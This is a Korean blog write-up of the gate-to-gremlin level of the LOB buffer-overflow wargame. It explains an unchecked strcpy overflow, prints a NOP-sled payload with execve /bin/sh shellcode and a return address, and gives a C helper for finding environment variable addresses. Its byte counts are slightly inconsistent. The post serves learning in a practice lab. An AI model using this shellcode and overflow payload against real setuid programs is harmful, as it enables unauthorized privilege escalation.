-->

[LOB] level1, gate -> gremlin 풀이

반응형

해커스쿨의 Lord Of Bufferoverflow(LOB) 는 여러 bof 문제를 경험할 수 있는 환경?으로 보통 FTZ를 끝마쳤으면 LOB를 풀게된다. 2017년도에 풀고 블로그에 풀이를 올렸었는데 블로그를 여기로 이전하는 바람에 다시 작성하게 되었다.

 

 

초기설정

초기설정을 해놓치 않고 시작하면 엄청난 삽질을 경험할 수 있다. 난 링크(LOB 다운로드 & 초기설정)를 참고해서 초기설정을 진행해주었다. 초기설정은 아래와 같이 /etc/passwd의 bash를 전부 bash2로 변경하는 작업이다.

 

 

 

그다음 IP주소를 확인해주고 XShell이든 Putty든 연결해준다. 난 앞으로 XShell을 사용해서 문제풀이를 진행하도록 하겠다.

 

 

LOB, gate -> gremlin 문제 확인

gate -> gremlin 문제는 FTZ 초기 bof 문제와 매우 유사하게 strcpy 취약점에 대해 묻고있다. char형 배열 buffer은 256 크기를 갖고있는데 strcpt로 길이체크가 수행되지 않은 argv[1]을 buffer에 복사하고 있기 때문에 버퍼오버플로우 취약점일 발생하게 된다.

 

 

 

여기서 한가지 알고 넘어가야 할 것은, 해당 바이너리의 취약점을 실행해서 쉘을 실행시켰을 때 gremlin의 패스워드를 알아낼 수 있는 이유는 gremlin 바이너리에 setreuid가 걸려있기 때문이다. setreuid가 걸려있으면 해당 프로세스가 실행중인 동안에는 setreuid로 설정해준 권한으로 상승하게 된다.

 

 

LOB, gate -> gremlin 풀이

gdb로 확인해보니 딱 256바이트만큼 버퍼를 할당하고 있다(dummy는 없는 것 같다).

 

 

 

따라서 스택 상황은 아래와 같다.

 

buffer SFP RET
256 4 4

 

 

그럼, 버퍼 시작주소를 알아내기 위해 strcpy 바로 다음인 main+59에 bp를 건다.

 

 

 

그럼 아래와 같이 익스플로잇 코드를 구성할 수 있다. 근데 이게 계속 안돼서 ㅇㅅㅇ 삽질을 하다가 원래 쓰던 익스플로잇 코드말고 다른 코드를 쓰기로 했다. 

 

`python -c 'print
"\x90"*236
+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
+"\x08\xfa\xff\xff"'`

 

 

총 23바이트이기 때문에 앞에 \x90을 237바이트 채워줬는데 Segmentation Fault 만 발생하고 쉘획득이 되지 않았기 때문에 환경변수를 사용하기로 했다. export를 사용해 환경변수에 쉘코드를 등록시켜주는데 앞에 nop을 100정도 주었다.

 

 

 

환경변수의 주소값을 구하는 방법으로는 아래 소스코드를 컴파일해서 사용했다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
	char *envaddr;
	envaddr = getenv(argv[1]);

	printf("env address : %p\n",envaddr);
	return 0;
}

 

 

LOB, gate -> gremlin 익스플로잇

따라서 RET에 쉘코드 주소만 덮어쓰면되기 때문에 앞에 nop은 260을 주면 된다.

 

 

댓글

Designed by JB FACTORY